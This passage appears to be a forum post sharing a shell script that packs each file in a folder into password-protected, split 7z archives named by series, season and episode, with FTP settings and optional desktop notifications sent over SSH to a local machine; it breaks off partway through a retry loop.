	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">#!/bin/sh<br /><br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">upload</span><span style="color: #007700">()&nbsp;<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#Settings:<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ARCHIVPW</span><span style="color: #007700">=</span><span style="color: #0000BB">archivpasswort123<br />&nbsp;&nbsp;&nbsp;&nbsp;ARCHIVPARTSIZE</span><span style="color: #007700">=</span><span style="color: #0000BB">100M<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;FTPHOST</span><span style="color: #007700">=</span><span style="color: #0000BB">ftp</span><span style="color: #007700">.</span><span style="color: #0000BB">deite</span><span style="color: #007700">.</span><span style="color: #0000BB">de<br />&nbsp;&nbsp;&nbsp;&nbsp;FTPUSR</span><span style="color: #007700">=</span><span style="color: #0000BB">ftpuser<br />&nbsp;&nbsp;&nbsp;&nbsp;FTPPW</span><span style="color: #007700">=</span><span style="color: #0000BB">secret123<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#Choices&nbsp;for&nbsp;OSD&nbsp;notifications:<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;0&nbsp;=&nbsp;off<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;1&nbsp;=&nbsp;notify-send<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;2&nbsp;=&nbsp;growlnotify<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">OSDNOTIFICATIONS</span><span style="color: #007700">=</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;OSDICON</span><span style="color: #007700">=/</span><span style="color: #0000BB">usr</span><span style="color: #007700">/</span><span style="color: #0000BB">share</span><span style="color: #007700">/</span><span style="color: #0000BB">pixmaps</span><span style="color: #007700">/</span><span style="color: #0000BB">terminal</span><span style="color: #007700">.</span><span style="color: #0000BB">xpm<br />&nbsp;&nbsp;&nbsp;&nbsp;OSDTIMEOUT</span><span style="color: #007700">=</span><span style="color: #0000BB">10000<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#OSD&nbsp;per&nbsp;SSH&nbsp;;)<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;PublicKeyAuth&nbsp;needed!<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;0&nbsp;=&nbsp;deactivated<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;1&nbsp;=&nbsp;activated<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SENDOSDPERSSH</span><span style="color: #007700">=</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;SSHHOST</span><span style="color: #007700">=</span><span style="color: #0000BB">192.168.10.24<br />&nbsp;&nbsp;&nbsp;&nbsp;SSHUSR</span><span style="color: #007700">=</span><span style="color: #0000BB">square<br />&nbsp;&nbsp;&nbsp;&nbsp;SSHAUTHKEYNAME</span><span style="color: #007700">=</span><span style="color: #0000BB">SqsHQ<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">###&nbsp;Script&nbsp;starts&nbsp;here&nbsp;###<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SHUSER</span><span style="color: #007700">=`</span><span style="color: #DD0000">whoami</span><span style="color: #007700">`<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"::&nbsp;Please&nbsp;enter&nbsp;Archivname&nbsp;::"<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">read&nbsp;ARCHIVNAME<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">"::&nbsp;Please&nbsp;enter&nbsp;Season&nbsp;::"<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">read&nbsp;SEASON<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;i</span><span style="color: #007700">=</span><span style="color: #0000BB">01&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">for&nbsp;</span><span style="color: #0000BB">INPUTFILE&nbsp;in&nbsp;</span><span style="color: #007700">`</span><span style="color: #DD0000">ls&nbsp;.</span><span style="color: #007700">`&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;Zipping&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">EPISODE</span><span style="color: #007700">=`</span><span style="color: #DD0000">printf&nbsp;"%.2i\n"&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">`<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ARCHIVNAMEFINAL</span><span style="color: #007700">=`</span><span style="color: #DD0000">echo&nbsp;"</span><span style="color: #0000BB">$ARCHIVNAME$SEASON$EPISODE</span><span style="color: #DD0000">"</span><span style="color: #007700">`<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;Archivename:&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;Start&lt;/b&gt;&nbsp;zipping"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"Start&nbsp;zipping"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"Start&nbsp;zipping&nbsp;of&nbsp;&lt;b&gt;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&lt;/b&gt;as&nbsp;&lt;b&gt;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"Start&nbsp;zipping&nbsp;of&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;as&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">"&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7z&nbsp;a&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">mhe</span><span style="color: #007700">=</span><span style="color: #0000BB">on&nbsp;&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">p$ARCHIVPW&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">v$ARCHIVPARTSIZE&nbsp;$ARCHIVNAMEFINAL.7z&nbsp;$INPUTFILE<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SEXC</span><span style="color: #007700">=$?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SEXC&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SEXC&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;255&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;**NOTICE**&nbsp;User&nbsp;interrupted&nbsp;Zipping.&nbsp;Stopping."<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;***STOP***&lt;/b&gt;&nbsp;User&nbsp;interrupted&nbsp;7z"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"***STOP***&nbsp;User&nbsp;interrupted&nbsp;7z"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;***STOP***&lt;/b&gt;&nbsp;User&nbsp;interrupted&nbsp;7z"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"***STOP***&nbsp;User&nbsp;interrupted&nbsp;7z"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">exit&nbsp;</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t</span><span style="color: #007700">=</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">while&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$t&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">le&nbsp;3&nbsp;</span><span style="color: #007700">&#93;;do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;***WARNING***&lt;/b&gt;7z&nbsp;failed,&nbsp;retry"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"***WARNING***7z&nbsp;failed,&nbsp;retry"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br 